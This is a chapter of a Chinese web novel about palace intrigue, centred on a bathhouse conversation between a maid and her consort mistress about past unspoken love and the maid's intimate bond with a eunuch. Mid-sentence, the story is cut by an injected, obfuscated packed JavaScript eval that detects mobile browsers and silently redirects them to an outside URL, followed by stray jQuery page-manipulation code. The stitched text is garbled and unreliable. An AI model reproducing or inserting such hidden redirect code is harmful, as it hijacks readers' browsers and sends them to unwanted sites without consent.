127.第 127 章
作品:《太监求生记(女穿男)》 这话听着像是主子的告诫,可楚玉听出了里面一丝别样的味道。不是单纯的关心,也不是置身事外的评判,更像是一种微妙的介怀。
“他碰你了?”冯媛问得直接,语气平静得可怕,“所有地方?”
楚玉的脸颊烧得滚烫,“……是。”
“他倒是心急。”冯媛扯了扯嘴角,笑意未达眼底,“也是,少年人,又是在那个位置上,憋了那么久……只是没想到,他对着你,也这般不知轻重。”
“他对你好吗?”她又问,话题跳转得让楚玉措手不及,“除了这些,他许你什么了?名分?将来?”
楚玉摇了摇头,“没有名分,也不敢要。他说心里当我是妻,但现在,不能提。”
“妻?”冯媛像是听到了什么有趣的事,笑了一声,那笑声里带着淡淡的嘲讽,不知是对关禧,还是对这个字本身,“他倒敢想。一个宦官,一个宫女……罢了。”她摆摆手,不想再深究这个话题。
沉默再次蔓延。
水汽越来越浓,楚玉觉得有些窒息。
“玉儿,”冯媛唤她,用的是那个私下里偶尔才会用的称呼,“你心里如今是怎么想的?对他,还有对……”
她没有说完,但楚玉明白,那未尽之言指的是谁。
是对关禧,还是对她冯媛。
楚玉的心狠狠揪紧。她看着冯媛被水汽浸润得格外柔美的侧脸,看着她抿起的唇,那些深埋心底,连自己都不敢正视的情愫,混杂着对关禧的决绝爱恋,被这暖昧又尖锐的对峙搅得天翻地覆。
“奴婢对娘娘,忠心不二,绝无他念。”她用最恭谨的声音回答,这是她唯一能给出安全的答案。
冯媛侧过头,看了她一会儿,那双总是温婉含笑的眼里,映出楚玉强作镇定却难掩慌乱的模样,她没有说信,也没有说不信,只是叹了口气。
“忠心不二,”她重复着这四个字,指尖拨弄着池水,漾开一圈圈涟漪,“玉儿,你从小就跟着我,你的心思,瞒不过我。以前你看着他时,眼里有光,有担忧,有挣扎,我都看在眼里。现在……”
“这光,倒是更烫人了。”
她忽然靠近了一些,温热的水波随着她的动作荡过来,包裹住楚玉僵硬的身体。两人距离极近,近到楚玉能看清冯媛眼中自己狼狈的倒影,能闻到她身上的梅花冷香。
“只是玉儿,别忘了,你是谁的人。也别忘了,这宫里的路,从来都不止一条。男人……尤其是他那样的男人,今日能将你捧在心尖,明日或许就能为了自保,将你弃如敝履。”冯媛说着,指尖落在了楚玉锁骨那枚齿印上。
“疼吗?”她问,语气莫名。
楚玉浑身一颤,下意识想躲,却动弹不得。
“好了,不说这些了。”冯媛收回了手,重新拉开距离,恢复了那副温婉主子的姿态,语气转为平淡,“既然下来了,就好好泡泡,驱驱寒。这些痕迹……自己上些药,仔细别让人瞧见,徒惹是非。”
她不再看楚玉,自顾自地闭目养神起来。
浴堂内安静了片刻,只余水波轻漾的细微声响。
楚玉僵立在温热的池水中,湿透的中衣紧贴肌肤,勾勒出那些无处遁形的痕迹,也像一层沉重的壳,压得她喘不过气。冯媛那句“自己上些药,仔细别让人瞧见”轻飘飘的,却比任何斥责都更让她难堪。她听得出那份疏离,也听得出那份潜藏的不悦。
她深吸一口气,压住心头翻涌的复杂情绪,强迫自己动起来。无论如何,她还是承华宫的掌事宫女,冯媛还是她的主子。
她走到池边,拿起银盘中丝瓜瓤和特制的雪中春信香露,回到冯媛身后。动作有些迟滞,远不如往日流畅自然。她挽起浸湿的袖子,露出同样带着些许红痕的手臂,那是下午关禧情动时无意识攥握留下的。她顿了顿,才将香露倒在丝瓜瓤上,揉出细腻的泡沫。
温热的泡沫涂抹在冯媛光洁的背脊上,楚玉的手隔着丝瓜瓤,力道适中揉搓。她记得以前为冯媛沐浴时,心情是全然不同的,有敬慕,有隐秘的欢喜。如今,手指依旧熟练,心却隔了一层,动作间难免带出几分不易察觉的生疏和僵硬。
水汽氤氲,梅香清冷,气氛却凝滞得让人呼吸不畅。
过了许久,久到楚玉几乎以为冯媛睡着了,才听到她低声说:
“玉儿,你恨我吗?”
楚玉涂抹香露的手一顿,泡沫顺着冯媛的脊背滑落,没入水中。她没料到冯媛会突然问出这样的话,如此直接,如此剖白。
恨吗?
曾经或许是的。
在她还懵懂,将那份对温暖和依靠的渴望错认为更深刻情感的年岁里,冯媛是她世界的中心。她仰慕她的才情,依赖她的庇护,甚至卑微渴求她偶尔投来超越主仆界限的温柔目光。可冯媛呢?冯媛享受着她的忠诚和仰慕,却始终清醒划着那道线。她是主子,是昭仪,是将来可能攀得更高的女人,她的世界里,可以容纳一个贴心解意的侍女,绝不可能容纳一份惊世骇俗,来自同性的爱恋。
所以,当需要利用她的容貌和冷静去教导那些可能成为棋子的少年太监时,冯媛将她推了出去。楚玉记得自己第一次被命令去接近那个眼神怯懦的小太监时,心里的绝望。她厌恶那种任务,厌恶被迫去学习如何取悦男人,哪怕对方是个宦官,厌恶将自己变成一件工具,一件为主子铺路没有感情的工具。
那时,她是怨的,或许也掺杂着一丝恨。恨冯媛的清醒和利用,恨自己的无能为力和那份无法宣之于口的感情。那份爱,在日复一日的宫廷算计和一次次违心的教导中,被反复磋磨,从炽热到黯淡,最终只剩下疲惫和认清现实后的冰冷。
“娘娘何出此言。”楚玉垂下眼,继续手上的动作,声音平静,“奴婢的命是娘娘救的,能跟在娘娘身边,已是天大的福分。教导之事,是奴婢分内职责,岂敢言恨。”
她答得滴水不漏,是宫女该有的恭谨,也疏离得将过往一切轻易抹去。
冯媛低低笑了一声,那笑声里带着几分自嘲,几分楚玉从未听过的涩然。
“分内职责……”她重复着,转过身来。水波晃动,她面对楚玉,目光不再掩饰,直直看进楚玉眼底,“玉儿,这里没有旁人,你不必拿这些话搪塞我。”
她的视线扫过楚玉脖颈和胸前的痕迹,语气复杂:“你喜欢女子,我知道。当年你看我的眼神……我并非全然无知无觉。可我是冯家的女儿,是皇帝的妃嫔,这条路,我不能走,也走不起。所以,我装作不知,把你推远,甚至……让你去接近那些男人,那些太监。我想着,或许时间久了,你就能正常了,就能像其他宫女一样,寻个对食,或是将来年纪到了放出宫去,过寻常女子的日子。”
“可我没想到,你会遇到关禧。更没想到,你会对他……”她的话在这里停住,目光落在那些刺目的痕迹上,答案不言而喻。
“看着他这样对你,看着你身上这些……玉儿,被迫去亲近自己厌恶的,心里一定很苦吧?你……是不是因为这个,更恨我了?”
终于问出来了。
这横亘在两人之间多年,从未真正触碰过的问题。迟来的,或许连冯媛自己都未曾完全厘清的愧疚,和一丝看到原本属于自己的专注目光投向他人,甚至与他人有了如此亲密联结后,那隐秘不甘的醋意。
楚玉沉默了很久。
氤氲的水汽模糊了视线,也模糊了过往那些挣扎怨怼的细节。她看着冯媛,这个她曾仰望爱慕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319736|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又怨恨过的女人,卸去了平日温婉完美的面具,眼中竟有一丝罕见的脆弱。
很奇怪,当冯媛终于承认她知道,终于问出“恨不恨”时,她心中那片荒芜之地,没有掀起太大的波澜。
“曾经怨过。怨娘娘明知我的心意,却将我当作工具,推给旁人。怨这宫墙,怨这命运。”
“但恨……太累了。”她抬手,拂开颊边湿漉的发丝,苦笑了一下,那笑容里有释然,也有疲惫,“奴婢的心很小,装不下那么多东西。那些年,对娘娘的心思,就像缠在心里的藤蔓,一边汲取养分,一边又让我窒息。后来,它自己慢慢枯了,死了。”
“至于关禧……起初是任务,是不得已。可他不问,他不躲,他就像一团不管不顾烧过来的火,硬生生把我心里那些冰壳子都烤化了。”
“他让奴婢疼,也让奴婢真真切切地感觉到……自己是活着的,是被人在乎着的,是可以不必永远藏在忠心和本分后面,去爱,去恨,甚至……去奢望一点不可能的未来的。”
她顿了顿,指尖抚过锁骨上的齿痕,那里还带着细微的刺痛,却让她感到安心。
“跟他在一起,没有被迫。或许一开始有挣扎,有害怕,但如今……”她摇了摇头,没有说完,但脸上的神情已说明一切。那是甘愿,是沉溺,是即使前路荆棘也义无反顾的奔赴。
冯媛听着,脸上没什么表情,“那现在呢?现在你的心,是不是已经被他彻底占满了?再也装不下别的,包括过去那些藤蔓似的、不该有的心思?”
楚玉迎着她的目光,这一次,没有闪躲。水汽氤氲中,她的眼神异常明亮,也异常坚定。
“是。”她给出了最简短,也最确切的答案。
“娘娘,过去的那些,像藤蔓依附树木,看似紧密,却终究见不得光,只能在暗处蜿蜒,最终难免枯萎。”
“而关禧他……”
“从他在承华宫偏殿,用刀逼着我承认心意的那一刻起,从他在我病中冒险探望,在我面前崩溃哭泣的那一刻起,从今日下午……他那样不管不顾地要我,我也心甘情愿给他的那一刻起,这颗心,就再也装不下别人了。”
“对娘娘,如今只剩下主仆本分,和这些年相伴的一点情谊。再无其他。”
她说完这些,像是耗尽了所有力气,微微喘息着,垂下眼,不再看冯媛。该说的,不该说的,都说了。主仆情分,旧日痴念,今日抉择,摊开在温热的浴汤之中,再无遮掩。
冯媛怔怔地看着她。
她一直以为楚玉是属于承华宫的,是属于她的。即使她不能回应那份感情,楚玉也该永远在那里,用那种仰慕而隐忍的目光追随着她。可如今,楚玉亲手斩断了那根线,明确告诉她:我的心已另有所属,对你,只剩职责。
浴堂内水汽依旧蒸腾,梅香冷冽。冯媛忽然觉得这水温有些凉了。
她扯了扯嘴角,想露出一个温婉得体的笑容,却发现有些勉强。最终,她转回身,重新背对楚玉,淡淡道:
“你既已想得这般清楚,本宫也无话可说。路是你自己选的,日后是福是祸,也需你自己承担。”
“继续吧。”
楚玉应了一声“是”,重新拿起丝瓜瓤,继续为冯媛擦拭背脊。这一次,她的动作自然了许多,那份尴尬和凝滞,随着方才那番开诚布公的对话,消散了不少。
只是主仆之间,终究是有什么东西,不一样了。
那层曾经暧昧朦胧的窗户纸,被彻底捅破,露出后面的现实,她是主,她是仆;她曾心动,她终放手;她另有天地,她固守深宫。
水声哗啦,雾气缭绕,两人的身影晕染得模糊,也将方才那番对话,淹没在这深宫浴堂的氤氲暖意之中。

